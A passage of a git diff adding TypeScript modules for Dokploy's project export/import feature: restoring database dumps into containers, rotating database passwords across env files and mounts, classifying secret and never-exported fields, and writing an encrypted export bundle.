"@dokploy/server/services/libsql"; +import { deployMariadb } from "@dokploy/server/services/mariadb"; +import { deployMongo } from "@dokploy/server/services/mongo"; +import { deployMySql } from "@dokploy/server/services/mysql"; +import { deployPostgres } from "@dokploy/server/services/postgres"; +import { + getS3Credentials, + getServiceContainerCommand, +} from "@dokploy/server/utils/backups/utils"; +import { sleep } from "@dokploy/server/utils/process/execAsync"; +import { getRestoreCommand } from "@dokploy/server/utils/restore/utils"; +import { quote } from "shell-quote"; +import { assertSafeBundlePath } from "./deserialize"; +import { DUMP_EXT, LIBSQL_DATA_DIR } from "./dumps"; +import type { TransferDb } from "./queries"; +import { + at, + copyFile, + escapeShellArg, + type Location, + remove, + run, + safeErrorMessage, +} from "./remote-fs"; +import type { Emit, RestoreError, Snapshot, TransferResult } from "./types"; + +export type RestorableKind = + | "postgres" + | "mysql" + | "mariadb" + | "mongo" + | "libsql"; + +export const RESTORABLE_KINDS: RestorableKind[] = [ + "postgres", + "mysql", + "mariadb", + "mongo", + "libsql", +]; + +export type DeployFn = ( + id: string, + onData?: (data: unknown) => void, +) => Promise; + +export const DEPLOY_FN: Record = { + postgres: deployPostgres, + mysql: deployMySql, + mariadb: deployMariadb, + mongo: deployMongo, + libsql: deployLibsql, +}; + +export type Row = Record; + +export const buildReadyProbe = (kind: RestorableKind, row: Row): string => { + const user = quote([String(row.databaseUser ?? "")]); + const database = quote([String(row.databaseName ?? "")]); + switch (kind) { + case "postgres": + return `psql -U ${user} -d ${database} -tAc "SELECT 1"`; + case "mysql": + return `mysql -uroot --password=${quote([String(row.databaseRootPassword ?? "")])} -N -s -e "SELECT 1"`; + case "mariadb": + return `mariadb -u${user} --password=${quote([String(row.databasePassword ?? "")])} -N -s -e "SELECT 1"`; + case "mongo": { + const args = `--quiet -u ${user} -p ${quote([String(row.databasePassword ?? "")])} --authenticationDatabase admin --eval "db.adminCommand({ping: 1}).ok"`; + return `if command -v mongosh >/dev/null 2>&1; then mongosh ${args}; else mongo ${args}; fi`; + } + case "libsql": + return `test -d /var/lib/sqld/${LIBSQL_DATA_DIR}`; + } +}; + +export const buildWaitReadyScript = ( + appName: string, + probeCommand: string, +): string => + `CONTAINER_ID=$(${getServiceContainerCommand(appName)}); if [ -z "$CONTAINER_ID" ]; then exit 1; fi; docker exec "$CONTAINER_ID" sh -c ${quote([probeCommand])}`; + +export const waitUntilReady = async ( + serverId: string | null, + appName: string, + probeCommand: string, + { + timeoutMs = 300_000, + intervalMs = 2000, + stableSuccesses = 3, + }: ReadinessOptions = {}, +): Promise => { + const script = buildWaitReadyScript(appName, probeCommand); + const deadline = Date.now() + timeoutMs; + let successes = 0; + while (Date.now() < deadline) { + try { + await run(serverId, script); + successes += 1; + if (successes >= stableSuccesses) return; + } catch { + successes = 0; + } + await sleep(intervalMs); + } + throw new Error( + `Timed out waiting for ${appName} to become ready for restore`, + ); +}; + +export const buildRestoreCommand = ( + kind: RestorableKind, + row: Row, + dumpPath: string, +): string => { + const appName = row.appName as string; + const credentials = { + database: (row.databaseName as string) ?? "", + databaseUser: row.databaseUser as string | undefined, + databasePassword: + kind === "mysql" + ? (row.databaseRootPassword as string | undefined) + : (row.databasePassword as string | undefined), + }; + + if (kind === "libsql") { + const sqldDir = `/var/lib/sqld/${LIBSQL_DATA_DIR}`; + return `CONTAINER_ID=$(${getServiceContainerCommand(appName)}) && docker exec -i "$CONTAINER_ID" sh -c ${quote([`rm -rf ${sqldDir} && tar xzf - -C /var/lib/sqld`])} < ${escapeShellArg(dumpPath)} && docker service update --force ${escapeShellArg(appName)}`; + } + + if (kind === "mongo") { + return `CONTAINER_ID=$(${getServiceContainerCommand(appName)}) && docker exec -e DB_USER=${quote([credentials.databaseUser ?? ""])} -e DB_PASS=${quote([credentials.databasePassword ?? ""])} -i "$CONTAINER_ID" sh -c ${quote(['mongorestore -u "$DB_USER" -p "$DB_PASS" --authenticationDatabase admin --nsExclude "admin.*" --nsExclude "config.*" --archive --gzip --drop'])} < ${escapeShellArg(dumpPath)}`; + } + + return getRestoreCommand({ + appName, + type: kind, + restoreType: "database", + credentials, + rcloneCommand: `gunzip -c ${escapeShellArg(dumpPath)}`, + }); +}; + +const downloadLatestFromPrefix = async ( + destination: Destination, + keyPrefix: string, + localPath: string, + serverId: string | null, +): Promise => { + const flags = getS3Credentials(destination); + const bucketPrefix = `:s3:${destination.bucket}/${keyPrefix}`; + + const { stdout } = await run( + serverId, + `rclone lsf ${flags.join(" ")} --files-only ${quote([bucketPrefix])}`, + ); + const objects = stdout + .split("\n") + .map((line) => line.trim()) + .filter(Boolean) + .sort(); + const latest = objects.at(-1); + if (!latest) { + throw new Error(`No backup objects found under ${keyPrefix}`); + } + + await run( + serverId, + `rclone copyto ${flags.join(" ")} ${quote([`${bucketPrefix}${latest}`])} ${quote([localPath])}`, + ); +}; + +export type ReadinessOptions = { + timeoutMs?: number; + intervalMs?: number; + stableSuccesses?: number; +}; + +export type RestoreDumpsOptions = { + emit?: Emit; + deploy?: Partial>; + readiness?: ReadinessOptions; +}; + +export const restoreDumps = async ( + db: TransferDb, + snapshot: Snapshot, + result: TransferResult, + workDir: Location, + opts: RestoreDumpsOptions = {}, +): Promise => { + const emit = opts.emit ?? (() => {}); + const deploy = { ...DEPLOY_FN, ...opts.deploy }; + const restoreErrors: RestoreError[] = []; + + const serviceNameOf = ( + dump: Snapshot["dumps"][number], + ): string | undefined => { + const service = snapshot.resources.services.find( + (row) => + row.kind === dump.serviceType && + row[`${dump.serviceType}Id`] === dump.serviceId, + ); + return ( + (service?.name as string | undefined) ?? + (service?.appName as string | undefined) + ); + }; + + for (const dump of snapshot.dumps) { + const kind = dump.serviceType as RestorableKind; + const serviceName = serviceNameOf(dump); + if (!RESTORABLE_KINDS.includes(kind)) { + restoreErrors.push({ + serviceId: dump.serviceId, + serviceName, + error: `${dump.serviceType}: the dump is in the bundle but automatic restore isn't supported for this engine; restore it manually`, + }); + continue; + } + + const newServiceId = result.idMap[kind]?.[dump.serviceId]; + if (!newServiceId) { + restoreErrors.push({ + serviceId: dump.serviceId, + serviceName, + error: "Service was not imported (a required dependency was skipped)", + }); + continue; + } + + try { + const row = await ( + db.query[kind] as { + findFirst: (args: unknown) => Promise; + } + ).findFirst({ + where: ( + fields: Row, + { eq }: { eq: (a: unknown, b: unknown) => unknown }, + ) => eq((fields as Record)[`${kind}Id`], newServiceId), + }); + if (!row) { + throw new Error("Imported row not found"); + } + const appName = row.appName as string; + const serverId = (row.serverId as string | null) ?? null; + + emit(`Deploying ${appName}...`); + await deploy[kind](newServiceId, (data) => emit(String(data))); + + emit(`Waiting for ${appName} to accept connections...`); + await waitUntilReady( + serverId, + appName, + buildReadyProbe(kind, row), + opts.readiness, + ); + + let remoteDumpPath = `/tmp/dokploy-import-restore-${newServiceId}.${ + dump.mode === "embed" ? dump.ext : DUMP_EXT[kind] + }`; + let cleanupDump = true; + + try { + if (dump.mode === "embed") { + assertSafeBundlePath(dump.path, dump.path); + const local = at(workDir, dump.path); + if (local.serverId === serverId) { + remoteDumpPath = local.path; + cleanupDump = false; + } else { + await copyFile(local, { serverId, path: remoteDumpPath }); + } + } else { + const destinationId = result.idMap.destination?.[dump.destinationId]; + if (!destinationId) { + throw new Error("Destination requirement was not resolved"); + } + const destination = await db.query.destinations.findFirst({ + where: (fields, { eq }) => eq(fields.destinationId, destinationId), + }); + if (!destination) { + throw new Error("Resolved destination no longer exists"); + } + await downloadLatestFromPrefix( + destination, + dump.keyPrefix, + remoteDumpPath, + serverId, + ); + } + + emit(`Restoring ${appName}...`); + await run(serverId, buildRestoreCommand(kind, row, remoteDumpPath)); + emit(`Restored ${appName}`); + } finally { + if (cleanupDump) { + await remove({ serverId, path: remoteDumpPath }).catch(() => {}); + } + } + } catch (error) { + restoreErrors.push({ + serviceId: dump.serviceId, + serviceName, + error: safeErrorMessage(error), + }); + } + } + + return restoreErrors; +}; diff --git a/packages/server/src/services/project-export-import/rotate.ts b/packages/server/src/services/project-export-import/rotate.ts new file mode 100644 index 000000000..d9fced6fe --- /dev/null +++ b/packages/server/src/services/project-export-import/rotate.ts @@ -0,0 +1,470 @@ +import { + applications, + compose, + environments, + libsql, + mariadb, + mongo, + mounts, + mysql, + postgres, + projects, + redis, +} from "@dokploy/server/db/schema"; +import { generatePassword } from "@dokploy/server/templates"; +import { eq } from "drizzle-orm"; +import type { TransferTx } from "./queries"; +import { + buildUsedBy, + SERVICE_ID_FIELD, + SERVICE_TYPE_ENV_KEY, +} from "./service-kinds"; +import type { + RotationEntry, + ServiceType, + Snapshot, + UsedBy, + Warning, +} from "./types"; + +const DB_KINDS: ServiceType[] = [ + "postgres", + "mysql", + "mariadb", + "mongo", + "redis", + "libsql", +]; +const ROOT_PASSWORD_KINDS: ServiceType[] = ["mysql", "mariadb"]; + +const SERVICE_TABLES = { + application: { table: applications, idColumn: applications.applicationId }, + compose: { table: compose, idColumn: compose.composeId }, + postgres: { table: postgres, idColumn: postgres.postgresId }, + mysql: { table: mysql, idColumn: mysql.mysqlId }, + mariadb: { table: mariadb, idColumn: mariadb.mariadbId }, + mongo: { table: mongo, idColumn: mongo.mongoId }, + redis: { table: redis, idColumn: redis.redisId }, + libsql: { table: libsql, idColumn: libsql.libsqlId }, +} as const; + +const TEXT_FIELDS_BY_KIND: Partial> = { + application: [ + "env", + "buildArgs", + "buildSecrets", + "previewEnv", + "previewBuildArgs", + "previewBuildSecrets", + ], + compose: ["env", "composeFile"], +}; + +type RotationField = "databasePassword" | "databaseRootPassword"; + +export type RotationSpec = { + serviceId: string; + serviceType: ServiceType; + field: RotationField; + oldPassword: string; + newPassword: string; +}; + +const generateRotatedPassword = (): string => generatePassword(20); + +const findRow = async ( + tx: TransferTx, + kind: ServiceType, + id: string, +): Promise | undefined> => { + const idField = SERVICE_ID_FIELD[kind]; + const query = tx.query as unknown as Record< + string, + { + findFirst: ( + args: unknown, + ) => Promise | undefined>; + } + >; + return query[SERVICE_TYPE_ENV_KEY[kind]]?.findFirst({ + where: ( + fields: Record, + ops: { eq: (a: unknown, b: unknown) => unknown }, + ) => ops.eq(fields[idField], id), + }); +}; + +const updateServiceFields = async ( + tx: TransferTx, + kind: ServiceType, + id: string, + patch: Record, +): Promise => { + const { table, idColumn } = SERVICE_TABLES[kind]; + await tx + .update(table) + .set(patch as never) + .where(eq(idColumn, id)); +}; + +const updatePassword = async ( + tx: TransferTx, + spec: RotationSpec, +): Promise => { + const { serviceType, serviceId, field, newPassword } = spec; + if (!DB_KINDS.includes(serviceType)) return; + const column = + field === "databaseRootPassword" && + ROOT_PASSWORD_KINDS.includes(serviceType) + ? "databaseRootPassword" + : "databasePassword"; + await updateServiceFields(tx, serviceType, serviceId, { + [column]: newPassword, + }); +}; + +export const buildRotationPlan = async ( + tx: TransferTx, + snapshot: Snapshot, + serviceIdMap: Record>, +): Promise<{ specs: RotationSpec[]; unsafe: UsedBy[] }> => { + const specs: RotationSpec[] = []; + const unsafe: UsedBy[] = []; + + for (const service of snapshot.resources.services) { + const kind = service.kind as ServiceType; + if (!DB_KINDS.includes(kind)) continue; + const oldId = service[SERVICE_ID_FIELD[kind]] as string; + const newId = serviceIdMap[kind]?.[oldId]; + if (!newId) continue; + + const row = await findRow(tx, kind, newId); + if (!row) continue; + + const oldPassword = row.databasePassword as string | undefined; + if (oldPassword && !isSafeToRotate(oldPassword, row)) { + unsafe.push(usedByOf(service, newId)); + continue; + } + const newPassword = oldPassword ? generateRotatedPassword() : undefined; + if (oldPassword && newPassword) { + specs.push({ + serviceId: newId, + serviceType: kind, + field: "databasePassword", + oldPassword, + newPassword, + }); + } + if (ROOT_PASSWORD_KINDS.includes(kind)) { + const oldRoot = row.databaseRootPassword as string | undefined; + if (oldRoot) { + const rootNewPassword = + oldRoot === oldPassword && newPassword + ? newPassword + : generateRotatedPassword(); + specs.push({ + serviceId: newId, + serviceType: kind, + field: "databaseRootPassword", + oldPassword: oldRoot, + newPassword: rootNewPassword, + }); + } + } + } + + return { specs, unsafe }; +}; + +type Match = { spec: RotationSpec; count: number }; + +export const rotateText = ( + text: string, + specs: RotationSpec[], +): { text: string; matched: Match[] } => { + let result = text; + const matched: Match[] = []; + + const orderedSpecs = [...specs].sort( + (a, b) => b.oldPassword.length - a.oldPassword.length, + ); + for (const spec of orderedSpecs) { + if (!spec.oldPassword) continue; + let count = 0; + + const literalParts = result.split(spec.oldPassword); + if (literalParts.length > 1) { + count += literalParts.length - 1; + result = literalParts.join(spec.newPassword); + } + + const encoded = encodeURIComponent(spec.oldPassword); + if (encoded !== spec.oldPassword) { + const parts = result.split(encoded); + if (parts.length > 1) { + count += parts.length - 1; + result = parts.join(encodeURIComponent(spec.newPassword)); + } + } + + if (count > 0) { + matched.push({ spec, count }); + } + } + + return { text: result, matched }; +}; + +const rotateFields = ( + row: Record, + fields: string[], + specs: RotationSpec[], +): { patch: Record; matched: Match[] } => { + const patch: Record = {}; + const matched: Match[] = []; + for (const field of fields) { + const value = row[field]; + if (typeof value !== "string" || value.length === 0) continue; + const rotated = rotateText(value, specs); + if (rotated.matched.length === 0) continue; + patch[field] = rotated.text; + matched.push(...rotated.matched); + } + return { patch, matched }; +}; + +const buildRotationEntries = (allMatches: Match[][]): RotationEntry[] => { + const totals = new Map(); + for (const matches of allMatches) { + for (const { spec, count } of matches) { + const key = `${spec.serviceId}:${spec.field}`; + const existing = totals.get(key); + if (existing) { + existing.occurrences += count; + } else { + totals.set(key, { spec, occurrences: count }); + } + } + } + return [...totals.values()].map(({ spec, occurrences }) => ({ + service: spec.serviceId, + field: spec.field, + occurrences, + })); +}; + +const MIN_ROTATABLE_PASSWORD_LENGTH = 8; + +const isSafeToRotate = ( + password: string, + row: Record, +): boolean => + password.length >= MIN_ROTATABLE_PASSWORD_LENGTH && + password !== row.databaseUser && + password !== row.databaseName; + +const usedByOf = (service: Record, newId: string): UsedBy => + buildUsedBy( + (service.environmentId as string) ?? "", + service.kind as ServiceType, + service, + newId, + ); + +const USER_BEARING_DATABASES: Partial>> = { + mysql: new Set(["mysql", "--all-databases"]), + mariadb: new Set(["mysql", "--all-databases"]), +}; + +const dumpsThatMayContainUsers = ( + snapshot: Snapshot, + serviceIdMap: Record>, +): UsedBy[] => { + const affected: UsedBy[] = []; + for (const dump of snapshot.dumps) { + const kind = dump.serviceType; + const userBearing = USER_BEARING_DATABASES[kind]; + if (!userBearing) continue; + const service = snapshot.resources.services.find( + (row) => row[SERVICE_ID_FIELD[kind]] === dump.serviceId, + ); + if (!service) continue; + const databaseName = service.databaseName as string | undefined; + if (!databaseName || !userBearing.has(databaseName)) continue; + const newId = serviceIdMap[kind]?.[dump.serviceId]; + if (!newId) continue; + affected.push(usedByOf(service, newId)); + } + return affected; +}; + +export type ApplyRotationResult = { + rotations: RotationEntry[]; + warnings: Warning[]; +}; + +export type RotationScope = { + projectId: string | null; + environmentIds: string[]; +}; + +export const applyRotation = async ( + tx: TransferTx, + snapshot: Snapshot, + serviceIdMap: Record>, + rotateDatabaseCredentials: boolean, + scope: RotationScope, +): Promise => { + if (!rotateDatabaseCredentials) { + return { rotations: [], warnings: [] }; + } + + const { specs, unsafe } = await buildRotationPlan(tx, snapshot, serviceIdMap); + if (specs.length === 0) { + return { rotations: [], warnings: [] }; + } + + for (const spec of specs) { + await updatePassword(tx, spec); + } + + const servicesByOldPassword = new Map>(); + for (const spec of specs) { + const services = + servicesByOldPassword.get(spec.oldPassword) ?? new Set(); + services.add(spec.serviceId); + servicesByOldPassword.set(spec.oldPassword, services); + } + const ambiguousServiceIds = new Set( + specs + .filter( + (spec) => (servicesByOldPassword.get(spec.oldPassword)?.size ?? 0) > 1, + ) + .map((spec) => spec.serviceId), + ); + + const allMatches: Match[][] = []; + + const project = scope.projectId + ? await tx.query.projects.findFirst({ + where: (fields, { eq }) => + eq(fields.projectId, scope.projectId as string), + }) + : undefined; + if (project && scope.projectId) { + const { patch, matched } = rotateFields(project, ["env"], specs); + if (matched.length > 0) { + await tx + .update(projects) + .set(patch) + .where(eq(projects.projectId, scope.projectId)); + allMatches.push(matched); + } + } + + for (const environmentId of scope.environmentIds) { + const environment = await tx.query.environments.findFirst({ + where: (fields, { eq }) => eq(fields.environmentId, environmentId), + }); + if (!environment) continue; + const { patch, matched } = rotateFields(environment, ["env"], specs); + if (matched.length > 0) { + await tx + .update(environments) + .set(patch) + .where(eq(environments.environmentId, environmentId)); + allMatches.push(matched); + } + } + + const ambiguousServices: UsedBy[] = []; + const unreferenced: UsedBy[] = []; + + for (const service of snapshot.resources.services) { + const kind = service.kind as ServiceType; + const oldId = service[SERVICE_ID_FIELD[kind]] as string; + const newId = serviceIdMap[kind]?.[oldId]; + if (!newId) continue; + + if (ambiguousServiceIds.has(newId)) { + ambiguousServices.push(usedByOf(service, newId)); + } + + const rotatedItself = specs.some((spec) => spec.serviceId === newId); + let referenced = rotatedItself; + const row = await findRow(tx, kind, newId); + if (row) { + const { patch, matched } = rotateFields( + row, + TEXT_FIELDS_BY_KIND[kind] ?? ["env"], + specs, + ); + if (matched.length > 0) { + await updateServiceFields(tx, kind, newId, patch); + allMatches.push(matched); + referenced = true; + } + } + + const ownerField = SERVICE_ID_FIELD[ + kind + ] as keyof typeof mounts.$inferSelect; + const fileMounts = await tx.query.mounts.findMany({ + where: (fields, { and, eq }) => + and(eq(fields[ownerField], newId), eq(fields.type, "file")), + }); + for (const mount of fileMounts) { + const { patch, matched } = rotateFields(mount, ["content"], specs); + if (matched.length === 0) continue; + await tx + .update(mounts) + .set(patch) + .where(eq(mounts.mountId, mount.mountId)); + allMatches.push(matched); + referenced = true; + } + + if (!referenced) { + unreferenced.push(usedByOf(service, newId)); + } + } + + const rotations = buildRotationEntries(allMatches); + const warnings: Warning[] = []; + if (unreferenced.length > 0) { + warnings.push({ + code: "ROTATION_CHECK_CONSUMERS", + severity: "info", + message: `${unreferenced.length} service(s) don't reference the rotated database password(s) in their env, build args, compose file or file mounts; if they connect some other way, update them manually.`, + affected: unreferenced, + }); + } + if (unsafe.length > 0) { + warnings.push({ + code: "ROTATION_SKIPPED_UNSAFE_PASSWORD", + severity: "warning", + message: `${unsafe.length} database(s) kept their original password: it is shorter than ${MIN_ROTATABLE_PASSWORD_LENGTH} characters or equal to the database user/name, so rewriting it in env files would be unreliable. Rotate it manually after the import.`, + affected: unsafe, + }); + } + if (ambiguousServices.length > 0) { + warnings.push({ + code: "ROTATION_AMBIGUOUS_PASSWORD", + severity: "warning", + message: `${ambiguousServices.length} service(s) shared the same database password before rotation; any other service referencing that password by value may now point at the wrong new password. Check their env manually.`, + affected: ambiguousServices, + }); + } + const userBearingDumps = dumpsThatMayContainUsers(snapshot, serviceIdMap); + if (userBearingDumps.length > 0) { + warnings.push({ + code: "ROTATION_DUMP_MAY_CONTAIN_USERS", + severity: "warning", + message: `${userBearingDumps.length} dump(s) come from a system database (mysql "mysql"/"--all-databases" or mongo "admin") and may carry user accounts with the old password; after restore, those accounts still use the pre-rotation credentials.`, + affected: userBearingDumps, + }); + } + + return { rotations, warnings }; +}; diff --git a/packages/server/src/services/project-export-import/secret-fields.ts b/packages/server/src/services/project-export-import/secret-fields.ts new file mode 100644 index 000000000..bdad1f375 --- /dev/null +++ b/packages/server/src/services/project-export-import/secret-fields.ts @@ -0,0 +1,186 @@ +import type { ResourceKind } from "./types"; +import { SECRET_REDACTED, SECRET_REF_PREFIX } from "./types"; + +export type SecretFieldEntry = { + field: string; + kind: "single" | "envFile"; + when?: (row: Record) => boolean; + json?: boolean; +}; + +const ENV_FILE: SecretFieldEntry = { field: "env", kind: "envFile" }; + +export const SECRET_FIELDS: Partial> = + { + mount: [ + { field: "content", kind: "single", when: (row) => row.type === "file" }, + ], + security: [{ field: "password", kind: "single" }], + destination: [ + { field: "accessKey", kind: "single" }, + { field: "secretAccessKey", kind: "single" }, + ], + registry: [{ field: "password", kind: "single" }], + sshKey: [{ field: "privateKey", kind: "single" }], + certificate: [{ field: "privateKey", kind: "single" }], + vaultProvider: [{ field: "config", kind: "single", json: true }], + dnsProvider: [{ field: "config", kind: "single", json: true }], + backup: [{ field: "metadata", kind: "single", json: true }], + project: [ENV_FILE], + environment: [ENV_FILE], + compose: [ENV_FILE], + postgres: [ENV_FILE, { field: "databasePassword", kind: "single" }], + mysql: [ + ENV_FILE, + { field: "databasePassword", kind: "single" }, + { field: "databaseRootPassword", kind: "single" }, + ], + mariadb: [ + ENV_FILE, + { field: "databasePassword", kind: "single" }, + { field: "databaseRootPassword", kind: "single" }, + ], + mongo: [ENV_FILE, { field: "databasePassword", kind: "single" }], + redis: [ENV_FILE, { field: "databasePassword", kind: "single" }], + libsql: [ENV_FILE, { field: "databasePassword", kind: "single" }], + application: [ + ENV_FILE, + { field: "buildArgs", kind: "envFile" }, + { field: "buildSecrets", kind: "envFile" }, + { field: "previewEnv", kind: "envFile" }, + { field: "previewBuildArgs", kind: "envFile" }, + { field: "previewBuildSecrets", kind: "envFile" }, + { field: "password", kind: "single" }, + ], + }; + +const ALWAYS_NEVER_EXPORT = ["createdAt"]; +const SERVER_SCOPED_NEVER_EXPORT = [...ALWAYS_NEVER_EXPORT, "serverId"]; + +export const NEVER_EXPORT_FIELDS: Partial> = { + application: [ + ...SERVER_SCOPED_NEVER_EXPORT, + "buildServerId", + "githubId", + "gitlabId", + "giteaId", + "bitbucketId", + "refreshToken", + ], + compose: [ + ...SERVER_SCOPED_NEVER_EXPORT, + "githubId", + "gitlabId", + "giteaId", + "bitbucketId", + "refreshToken", + ], + postgres: SERVER_SCOPED_NEVER_EXPORT, + mysql: SERVER_SCOPED_NEVER_EXPORT, + mariadb: SERVER_SCOPED_NEVER_EXPORT, + mongo: SERVER_SCOPED_NEVER_EXPORT, + redis: SERVER_SCOPED_NEVER_EXPORT, + libsql: SERVER_SCOPED_NEVER_EXPORT, + project: ALWAYS_NEVER_EXPORT, + environment: ALWAYS_NEVER_EXPORT, + domain: ALWAYS_NEVER_EXPORT, + mount: ALWAYS_NEVER_EXPORT, + port: ALWAYS_NEVER_EXPORT, + redirect: ALWAYS_NEVER_EXPORT, + security: ALWAYS_NEVER_EXPORT, + backup: ALWAYS_NEVER_EXPORT, + volumeBackup: ALWAYS_NEVER_EXPORT, + schedule: ALWAYS_NEVER_EXPORT, + destination: ALWAYS_NEVER_EXPORT, + registry: ALWAYS_NEVER_EXPORT, + sshKey: ALWAYS_NEVER_EXPORT, + network: ALWAYS_NEVER_EXPORT, + certificate: ALWAYS_NEVER_EXPORT, + vaultProvider: [...ALWAYS_NEVER_EXPORT, "assignments"], + dnsProvider: ALWAYS_NEVER_EXPORT, +}; + +export const stripNeverExport = >( + kind: ResourceKind, + row: T, +): T => { + const fields = NEVER_EXPORT_FIELDS[kind]; + if (!fields || fields.length === 0) { + return row; + } + const result = { ...row }; + for (const field of fields) { + delete result[field]; + } + return result; +}; + +export const resolveSecretRef = ( + value: unknown, + secretsPlain: Map, +): string => { + if (typeof value !== "string" || value === SECRET_REDACTED) { + return ""; + } + if (!value.startsWith(SECRET_REF_PREFIX)) { + return value; + } + return secretsPlain.get(value.slice(SECRET_REF_PREFIX.length)) ?? ""; +}; + +const restoreEnvFile = ( + envFile: unknown, + secretsPlain: Map, +): string => { + if (typeof envFile !== "string") { + return ""; + } + return envFile + .split(/\r?\n/) + .map((line) => { + const eqIndex = line.indexOf("="); + if (eqIndex === -1) { + return line; + } + const key = line.slice(0, eqIndex); + const value = line.slice(eqIndex + 1); + return `${key}=${resolveSecretRef(value, secretsPlain)}`; + }) + .join("\n"); +}; + +export const restoreSecretFields = ( + kind: ResourceKind, + row: Record, + secretsPlain: Map, +): Record => { + const entries = SECRET_FIELDS[kind]; + if (!entries) { + return row; + } + const result: Record = { ...row }; + for (const entry of entries) { + if (entry.when && !entry.when(row)) { + continue; + } + const value = result[entry.field]; + if (value === undefined) { + continue; + } + if (entry.kind === "envFile") { + result[entry.field] = restoreEnvFile(value, secretsPlain); + continue; + } + const resolved = resolveSecretRef(value, secretsPlain); + if (entry.json) { + try { + result[entry.field] = resolved ? JSON.parse(resolved) : {}; + } catch { + result[entry.field] = {}; + } + continue; + } + result[entry.field] = resolved; + } + return result; +}; diff --git a/packages/server/src/services/project-export-import/secrets-review.ts b/packages/server/src/services/project-export-import/secrets-review.ts new file mode 100644 index 000000000..fdc2249e4 --- /dev/null +++ b/packages/server/src/services/project-export-import/secrets-review.ts @@ -0,0 +1,99 @@ +import type { Snapshot } from "./types"; +import { SECRET_REF_PREFIX } from "./types"; + +export type ReviewableSecret = { + secretId: string; + kind: "basicAuth" | "registry" | "destination" | "sshKey" | "certificate"; + resource: string; + field: string; + generatable: boolean; +}; + +const refId = (value: unknown): string | undefined => + typeof value === "string" && value.startsWith(SECRET_REF_PREFIX) + ? value.slice(SECRET_REF_PREFIX.length) + : undefined; + +const label = (row: Record, ...keys: string[]): string => { + for (const key of keys) { + const value = row[key]; + if (typeof value === "string" && value.length > 0) return value; + } + return ""; +}; + +export const listReviewableSecrets = ( + snapshot: Snapshot, +): ReviewableSecret[] => { + const entries: ReviewableSecret[] = []; + const push = (entry: Omit, value: unknown) => { + const secretId = refId(value); + if (secretId) entries.push({ secretId, ...entry }); + }; + + for (const service of snapshot.resources.services) { + if (service.kind !== "application") continue; + const serviceName = label(service, "name", "appName"); + for (const row of (service.security as Record[]) ?? []) { + push( + { + kind: "basicAuth", + resource: `${serviceName} · ${label(row, "username")}`, + field: "password", + generatable: true, + }, + row.password, + ); + } + } + + const shared = snapshot.resources.shared; + for (const row of shared.registry ?? []) { + push( + { + kind: "registry", + resource: label(row, "registryName", "registryUrl"), + field: "password", + generatable: false, + }, + row.password, + ); + } + for (const row of shared.destination ?? []) { + for (const field of ["accessKey", "secretAccessKey"]) { + push( + { + kind: "destination", + resource: label(row, "name", "bucket"), + field, + generatable: false, + }, + row[field], + ); + } + } + for (const row of shared.sshKey ?? []) { + push( + { + kind: "sshKey", + resource: label(row, "name"), + field: "privateKey", + generatable: false, + }, + row.privateKey, + ); + } + for (const row of shared.certificate ?? []) { + push( + { + kind: "certificate", + resource: label(row, "name"), + field: "privateKey", + generatable: false, + }, + row.privateKey, + ); + } + + return entries; +}; diff --git a/packages/server/src/services/project-export-import/serialize.ts b/packages/server/src/services/project-export-import/serialize.ts new file mode 100644 index 000000000..e4db82fba --- /dev/null +++ b/packages/server/src/services/project-export-import/serialize.ts @@ -0,0 +1,124 @@ +import { dirname } from "node:path"; +import { deriveKeys, gcmEncryptStream, makeKeyCheck } from "./crypto"; +import { + at, + escapeShellArg, + type Location, + pipeThrough, + run, + writeFile, +} from "./remote-fs"; +import type { + DumpIndex, + ExportScope, + Inventory, + Manifest, + Requirement, + ResourceKind, + Snapshot, + SourceInstance, + Warning, +} from "./types"; +import { KDF_PARAMS, TRANSFER_FORMAT, TRANSFER_FORMAT_VERSION } from "./types"; + +const PUBLIC_BUNDLE_FILES = [ + "manifest.json", + "inventory.json", + "requirements.json", + "warnings.json", +] as const; +export const PAYLOAD_FILE = "payload.enc"; + +export type SerializeInput = { + resources: Snapshot["resources"]; + inventory: Inventory; + requirements: Requirement[]; + warnings: Warning[]; + dumps: DumpIndex[]; + scope: ExportScope; + organizationId: string; + dokployVersion: string; + instanceInfo?: Omit; + exportedBy: { userId: string; email: string }; +}; + +const writeJson = (loc: Location, value: unknown) => + writeFile(loc, JSON.stringify(value, null, 2)); + +export const serialize = async ( + data: SerializeInput, + secretsPlain: Map, + passphrase: string, + workDir: Location, + bundle: Location, +): Promise => { + const payload = { ...workDir, path: `${workDir.path}.payload.tar.gz` }; + const outer = { ...workDir, path: `${workDir.path}.outer` }; + try { + const { salt, kEnc } = await deriveKeys(passphrase); + + await writeJson( + at(workDir, "resources", "project.json"), + data.resources.project, + ); + await writeJson( + at(workDir, "resources", "environments.json"), + data.resources.environments, + ); + await writeJson( + at(workDir, "resources", "services.json"), + data.resources.services, + ); + await writeJson( + at(workDir, "resources", "shared.json"), + data.resources.shared, + ); + await writeJson(at(workDir, "inventory.json"), data.inventory); + await writeJson(at(workDir, "requirements.json"), data.requirements); + await writeJson(at(workDir, "warnings.json"), data.warnings); + await writeJson(at(workDir, "dumps.json"), data.dumps); + await writeJson( + at(workDir, "secrets.json"), + Object.fromEntries(secretsPlain), + ); + + const manifest: Manifest = { + format: TRANSFER_FORMAT, + formatVersion: TRANSFER_FORMAT_VERSION, + exportedAt: new Date().toISOString(), + exportedBy: data.exportedBy, + sourceInstance: { + ...data.instanceInfo, + dokployVersion: data.dokployVersion, + organizationId: data.organizationId, + }, + scope: data.scope, + crypto: { + salt, + kdfParams: KDF_PARAMS, + keyCheck: makeKeyCheck(kEnc), + }, + counts: data.inventory.totals as Partial>, + }; + await writeJson(at(workDir, "manifest.json"), manifest); + + const copyPublic = PUBLIC_BUNDLE_FILES.map( + (file) => + `cp ${escapeShellArg(at(workDir, file).path)} ${escapeShellArg(outer.path)}`, + ).join(" && "); + await run( + workDir.serverId, + `tar -czf ${escapeShellArg(payload.path)} -C ${escapeShellArg(workDir.path)} . && mkdir -p ${escapeShellArg(outer.path)} && ${copyPublic}`, + ); + await pipeThrough(payload, gcmEncryptStream(kEnc), at(outer, PAYLOAD_FILE)); + await run( + workDir.serverId, + `mkdir -p ${escapeShellArg(dirname(bundle.path))} && tar -czf ${escapeShellArg(bundle.path)} -C ${escapeShellArg(outer.path)} ${PUBLIC_BUNDLE_FILES.join(" ")} ${PAYLOAD_FILE}`, + ); + } finally { + await run( + workDir.serverId, + `rm -rf ${escapeShellArg(workDir.path)} ${escapeShellArg(payload.path)} ${escapeShellArg(outer.path)}`, + ).catch(() => {}); + } +}; diff --git a/packages/server/src/services/project-export-import/service-kinds.ts 